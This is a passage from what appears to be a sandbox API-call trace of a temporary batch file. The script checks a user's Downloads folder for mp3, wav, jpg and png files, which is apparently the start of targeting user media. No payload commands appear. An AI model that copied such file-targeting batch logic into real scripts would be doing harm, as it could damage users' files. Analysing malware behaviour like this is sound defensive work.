lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0040.018] GetProcessHeap () returned 0x4e0000 [0040.018] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.018] GetProcessHeap () returned 0x4e0000 [0040.018] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.018] _tell (_FileHandle=3) returned 2113 [0040.018] _close (_FileHandle=3) returned 0 [0040.018] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.018] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0040.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0040.019] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dec, lpOverlapped=0x0) returned 1 [0040.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0040.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n\r\n") returned 25 [0040.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.019] GetFileType (hFile=0x74) returned 0x1 [0040.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0040.019] GetProcessHeap () returned 0x4e0000 [0040.019] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.019] GetProcessHeap () returned 0x4e0000 [0040.019] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.020] _tell (_FileHandle=3) returned 2138 [0040.020] _close (_FileHandle=3) returned 0 [0040.021] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2d [0040.021] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.021] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.021] GetLastError () returned 0x2 [0040.021] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.021] GetLastError () returned 0x6 [0040.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.021] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.021] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.021] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.021] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.022] SetConsoleInputExeNameW () returned 0x1 [0040.022] GetConsoleOutputCP () returned 0x1b5 [0040.022] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.022] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.022] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.022] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0040.022] GetProcessHeap () returned 0x4e0000 [0040.022] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.022] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.023] GetProcessHeap () returned 0x4e0000 [0040.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0040.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd3, lpOverlapped=0x0) returned 1 [0040.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0040.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n\r\n") returned 2 [0040.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.023] GetFileType (hFile=0x74) returned 0x1 [0040.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0040.024] GetProcessHeap () returned 0x4e0000 [0040.024] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.024] GetProcessHeap () returned 0x4e0000 [0040.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.024] _tell (_FileHandle=3) returned 2140 [0040.024] _close (_FileHandle=3) returned 0 [0040.024] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.024] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0040.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0040.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd1, lpOverlapped=0x0) returned 1 [0040.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0040.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n\r\n") returned 25 [0040.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.025] GetFileType (hFile=0x74) returned 0x1 [0040.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0040.025] GetProcessHeap () returned 0x4e0000 [0040.025] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.025] GetProcessHeap () returned 0x4e0000 [0040.025] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.026] _tell (_FileHandle=3) returned 2165 [0040.026] _close (_FileHandle=3) returned 0 [0040.026] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2d [0040.026] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.026] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.026] GetLastError () returned 0x2 [0040.026] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.027] GetLastError () returned 0x6 [0040.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.027] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.027] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.027] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.027] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.027] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.027] SetConsoleInputExeNameW () returned 0x1 [0040.027] GetConsoleOutputCP () returned 0x1b5 [0040.028] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.028] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.028] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.028] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.028] GetProcessHeap () returned 0x4e0000 [0040.029] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.029] GetProcessHeap () returned 0x4e0000 [0040.029] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.029] GetProcessHeap () returned 0x4e0000 [0040.029] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.029] GetProcessHeap () returned 0x4e0000 [0040.029] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0040.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db8, lpOverlapped=0x0) returned 1 [0040.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0040.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n\r\n") returned 2 [0040.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.029] GetFileType (hFile=0x74) returned 0x1 [0040.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0040.029] GetProcessHeap () returned 0x4e0000 [0040.029] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.029] GetProcessHeap () returned 0x4e0000 [0040.029] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.029] _tell (_FileHandle=3) returned 2167 [0040.030] _close (_FileHandle=3) returned 0 [0040.030] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.030] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0040.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0040.030] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db6, lpOverlapped=0x0) returned 1 [0040.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0040.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n\r\n") returned 25 [0040.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.030] GetFileType (hFile=0x74) returned 0x1 [0040.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0040.031] GetProcessHeap () returned 0x4e0000 [0040.031] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.031] GetProcessHeap () returned 0x4e0000 [0040.031] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.032] _tell (_FileHandle=3) returned 2192 [0040.032] _close (_FileHandle=3) returned 0 [0040.032] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2d [0040.032] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.032] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.032] GetLastError () returned 0x2 [0040.032] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.032] GetLastError () returned 0x6 [0040.032] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.032] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.033] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.033] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.033] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.033] SetConsoleInputExeNameW () returned 0x1 [0040.033] GetConsoleOutputCP () returned 0x1b5 [0040.033] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.033] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.034] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.034] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.034] GetProcessHeap () returned 0x4e0000 [0040.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0040.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9d, lpOverlapped=0x0) returned 1 [0040.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0040.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n\r\n") returned 2 [0040.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.035] GetFileType (hFile=0x74) returned 0x1 [0040.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0040.035] GetProcessHeap () returned 0x4e0000 [0040.035] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.035] GetProcessHeap () returned 0x4e0000 [0040.035] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.035] _tell (_FileHandle=3) returned 2194 [0040.036] _close (_FileHandle=3) returned 0 [0040.036] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.036] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0040.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0040.036] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9b, lpOverlapped=0x0) returned 1 [0040.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0040.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n\r\n") returned 25 [0040.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.036] GetFileType (hFile=0x74) returned 0x1 [0040.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.037] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0040.037] GetProcessHeap () returned 0x4e0000 [0040.037] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.037] GetProcessHeap () returned 0x4e0000 [0040.037] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.038] _tell (_FileHandle=3) returned 2219 [0040.038] _close (_FileHandle=3) returned 0 [0040.038] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2d [0040.038] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.038] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) 